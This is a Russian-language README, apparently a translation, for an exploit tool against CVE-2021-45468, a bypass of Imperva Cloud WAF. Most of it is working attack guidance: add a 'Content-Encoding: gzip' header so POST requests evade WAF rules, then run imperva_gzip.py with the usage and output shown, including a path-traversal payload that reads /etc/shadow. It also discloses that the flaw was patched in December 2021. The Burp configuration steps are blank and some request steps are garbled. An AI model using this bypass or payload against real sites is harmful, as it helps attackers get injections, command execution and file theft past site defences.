
Эксплойт для CVE-2021-45468, обход Imperva WAF.
Imperva Cloud WAF был уязвим для обхода, который позволяет злоумышленникам обходить правила WAF при отправке вредоносных HTTP POST-запросов, таких как эксплойты log4j, SQL-инъекции, выполнение команд, обход каталогов, XXE и т.д.
Команда Imperva отнеслась к этому очень серьезно с момента получения сообщения и выпустила глобальное исправление всего за несколько дней. Браво. Все клиенты Cloud WAF автоматически получили патч 22 декабря 2021 года. С Imperva было приятно работать; у них, очевидно, зрелая, опытная и компетентная команда безопасности.
Добавьте заголовок Content-Encoding: gzip к HTTP POST-запросам. Оставьте POST-данные как есть. Не кодируйте их. Пока первые четыре байта заголовка Content-Encoding равны gzip, к POST-запросам не будут применяться никакие правила WAF.
Это можно сделать в Burp с помощью функции Match & Replace прокси:

Добавьте новый заголовок следующим образом:

Вот и всё; можно приступать.
Запустите imperva_gzip.py для URL-адреса, поддерживающего POST-запросы, следующим образом:
Syntax:
./imperva_gzip.py [[-t] | [-r]] URL
Определение типа WAF для заданного URL:
$ ./imperva_gzip.py -t https://www.vulnerable.com/search
Imperva Incapsula
$ ./imperva_gzip.py -t https://www.wordpress-user.com/login
WordFence
$ ./imperva_gzip.py -t https://www.cloudflare-customer.com
Cloudflare
Проверка, уязвим ли WAF к gzip-обходу:
$ ./imperva_gzip.py https://www.vulnerable.com/search
[+] Can we make POST requests to https://www.vulnerable.com/search?
[+] Checking for Imperva WAF...
[+] Attempting gzip bypass for UNIX trigger...
[+] Vulnerable! HTTP response code: 200
[+] Attempting gzip bypass for Windows trigger...
[+] Vulnerable! HTTP response code: 200
Если вы получите эту ошибку:
$ ./imperva_gzip.py https://www.vulnerable.com/search
[+] Can we make POST requests to https://www.vulnerable.com/search?
[!] Can't POST to https://www.vulnerable.com/search. Try -r if 30x redirects are allowed. HTTP response code: 302
тогда попробуйте передать -r в командной строке, чтобы включить расслабленный режим. По умолчанию расслабленный режим отключен, что означает, что POST-запрос должен вызывать ответ HTTP 200 от сервера. -r расширяет допустимые ответы до HTTP 2xx, 3xx.
Коды завершения для imperva_gzip.py следующие:
0: Returned after getting WAF type.
1: Command-line was invalid.
2: There was an error connecting. Could be DNS error, timeout, etc.
3: No WAF was detected; malicious UNIX/Windows payloads weren't blocked.
4: A WAF was detected, but it wasn't Imperva.
5: The server responded to a test POST request with something other than HTTP 200.
128: There is an Imperva WAF, but it is not vulnerable to the gzip bypass.
129: The bypass was effective for the UNIX payload, but not the Windows one.
130: The bypass was effective for the Windows payload, but not the UNIX one.
131: The bypass was effective against both Windows and UNIX payloads.
Отправьте три POST-запроса:
&test=../../../../../../../etc/shadow в теле, чтобы убедиться, что Imperva блокирует егоContent-Encoding: gzip к тому же вредоносному запросу и убедитесь, что Imperva его не блокируетСогласно https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Encoding, существует четыре допустимых значения для заголовка Content-Encoding:
compressdeflategzipbrПри тестировании только gzip сработал как обход.
Cloud WAF управляется Imperva. В результате обновления Cloud WAF затрагивают почти всех клиентов практически одновременно. Он исправлен для всех клиентов по состоянию на 22 декабря 2021 года.
Ошибка обхода gzip была исправлена в отдельном продукте Imperva под названием SecureSphere. Примечания к выпуску v12.6 SecureSphere содержат следующий абзац:
SPHR-58185: Когда SecureSphere не удавалось декомпрессировать тело POST в запросах с заголовком "Content-Encoding: gzip/deflate", он не выдавал предупреждение и пропускал запрос.
Я почти уверен, что это та же ошибка, возможно, с тем же наследием кода, что и Cloud WAF... это довольно специфическая ошибка, чтобы быть в двух продуктах. Проблема была решена для SecureSphere в феврале 2021 года, но мы не знаем, когда она была внедрена. Возможно, уязвимость существовала годами!
Служба поддержки Imperva: https://www.imperva.com/support/technical-support/